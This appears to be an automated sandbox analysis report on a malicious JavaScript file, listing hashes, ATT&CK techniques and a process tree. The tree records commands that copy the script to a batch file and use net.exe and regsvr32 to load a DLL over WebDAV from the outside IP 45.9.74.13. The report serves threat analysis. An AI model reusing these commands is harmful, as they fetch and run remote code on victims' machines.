7f49671d9c9e4da0c8f4b51a54d473b2a2c8ece1009e1df94cb4ffa16bcc5b7d

Analysis

max time kernel
119s
max time network
122s
platform
windows7_x64
resource
win7-20240705-en
resource tags

arch:x64arch:x86image:win7-20240705-enlocale:en-usos:windows7-x64system
submitted
10/07/2024, 01:50

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General

Target

24869115731361117483.js
Size

5KB
MD5

2ea05a53d87cdbbce81a165df4d6527e
SHA1

0bcb0f1b57a721e7dab80375d82e13d30f6398d0
SHA256

4afbc0d3c6209011575ab90b1246921561296363630a8e99a97d7d3812f0d693
SHA512

3e45cbe970a1131a0b422645b1ba0003da1a7587fb279d92ba2f8c6d260378b88f6f4af72a41173f9cabf28d6629dcebedad1027a78feaccdaf9e986010b4bc9
SSDEEP

96:Dt8yDRPP1W3D7cXjCooYQOMFDzCJF4EnHXGpOzM3W3UhyWIyiQM9d1xWhKesCqs3:DtrDRPP1W3D7czCXYQOMFDzCJF4gHXGj

Score

3^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
2572	regsvr32.exe

Suspicious use of WriteProcessMemory 11 IoCs

description	pid	Process	procid_target
PID 2144 wrote to memory of 2748	2144	wscript.exe	30
PID 2144 wrote to memory of 2748	2144	wscript.exe	30
PID 2144 wrote to memory of 2748	2144	wscript.exe	30
PID 2748 wrote to memory of 1452	2748	cmd.exe	32
PID 2748 wrote to memory of 1452	2748	cmd.exe	32
PID 2748 wrote to memory of 1452	2748	cmd.exe	32
PID 2748 wrote to memory of 2572	2748	cmd.exe	33
PID 2748 wrote to memory of 2572	2748	cmd.exe	33
PID 2748 wrote to memory of 2572	2748	cmd.exe	33
PID 2748 wrote to memory of 2572	2748	cmd.exe	33
PID 2748 wrote to memory of 2572	2748	cmd.exe	33

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\24869115731361117483.js
1⤵
- Suspicious use of WriteProcessMemory
PID:2144
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /k copy "C:\Users\Admin\AppData\Local\Temp\24869115731361117483.js" "C:\Users\Admin\\ldphvn.bat" && "C:\Users\Admin\\ldphvn.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2748
- - C:\Windows\system32\net.exe
    net use \\45.9.74.13@8888\DavWWWRoot\
    3⤵
    PID:1452
- - C:\Windows\system32\regsvr32.exe
    regsvr32 /s \\45.9.74.13@8888\DavWWWRoot\4.dll
    3⤵
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:2572

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\ldphvn.bat

Filesize
5KB

MD5
2ea05a53d87cdbbce81a165df4d6527e

SHA1
0bcb0f1b57a721e7dab80375d82e13d30f6398d0

SHA256
4afbc0d3c6209011575ab90b1246921561296363630a8e99a97d7d3812f0d693

SHA512
3e45cbe970a1131a0b422645b1ba0003da1a7587fb279d92ba2f8c6d260378b88f6f4af72a41173f9cabf28d6629dcebedad1027a78feaccdaf9e986010b4bc9

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